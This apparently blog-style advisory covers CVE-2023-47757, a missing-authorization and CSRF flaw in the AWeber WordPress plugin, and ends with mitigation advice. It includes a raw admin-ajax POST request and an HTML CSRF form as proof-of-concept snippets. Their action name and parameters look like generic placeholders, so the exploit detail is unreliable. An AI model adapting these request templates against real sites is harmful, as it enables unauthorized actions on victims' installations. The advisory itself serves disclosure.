A significant security vulnerability (CVE-2023-47757) has been discovered in the AWeber – Free Sign Up Form and Landing Page Builder Plugin for Lead Generation and Email Newsletter Growth on WordPress. This vulnerability affects versions ranging from N/A up to 7.3.9 and can allow attackers to access certain functionality without proper authorization, as well as carry out Cross-Site Request Forgery (CSRF) attacks. This post aims to provide exclusive details on the vulnerability, including code snippets, links to original references, and exploit details.

Vulnerability Details

The AWeber WordPress plugin is affected by two major security vulnerabilities: Missing Authorization and CSRF. Due to improper Access Control List (ACL) constraints, an attacker can exploit this issue to access specific plugin functionality without the necessary permissions. Additionally, CSRF attacks can be carried out due to insufficient protection mechanisms in place.

Missing Authorization: Accessing Functionality Not Properly Constrained by ACLs

An attacker can exploit this vulnerability by sending crafted requests to a vulnerable instance of the plugin and accessing functionality that should not have been permitted.

Cross-Site Request Forgery (CSRF)

The CSRF vulnerability exists due to a lack of proper anti-CSRF tokens in the requests made by the plugin. This allows an attacker to trick a logged-in user into making unintended actions by sending a maliciously crafted link.

Proof of Concept (PoC) code snippet for Missing Authorization

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: length

action=aweber_functionality&data=value

Proof of Concept (PoC) code snippet for CSRF

<html>
<head>
  <title>CSRF PoC for AWeber WordPress Plugin</title>
</head>
<body>
  <h1>CSRF PoC for AWeber WordPress Plugin</h1>
  <form action="http://target.com/wp-admin/admin-ajax.php"; method="post">
    <input type="hidden" name="action" value="aweber_functionality" />
    <input type="hidden" name="data" value="value" />
    <input type="submit" value="Submit" />
  </form>
</body>
</html>

Original References

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47757
2. Official AWeber Plugin Page on WordPress.org: https://wordpress.org/plugins/aweber-web-form-widget/

Mitigation and Recommendations

If you are using the AWeber – Free Sign Up Form and Landing Page Builder Plugin for Lead Generation and Email Newsletter Growth, it is advised to:

1. Update the plugin to the latest version as soon as it becomes available to address this vulnerability.
2. Monitor the official plugin page and security forums for the latest information regarding this issue.

Conclusion

The CVE-2023-47757 vulnerability poses a significant risk to users of the AWeber WordPress plugin, allowing attackers to access functionality without proper authorization and perform CSRF attacks. It is crucial for users to be aware of this issue, apply any available fixes, and stay up to date with security information regarding this vulnerability.

Timeline

Published on: 11/17/2023 09:15:23 UTC
Last modified on: 11/25/2023 02:14:53 UTC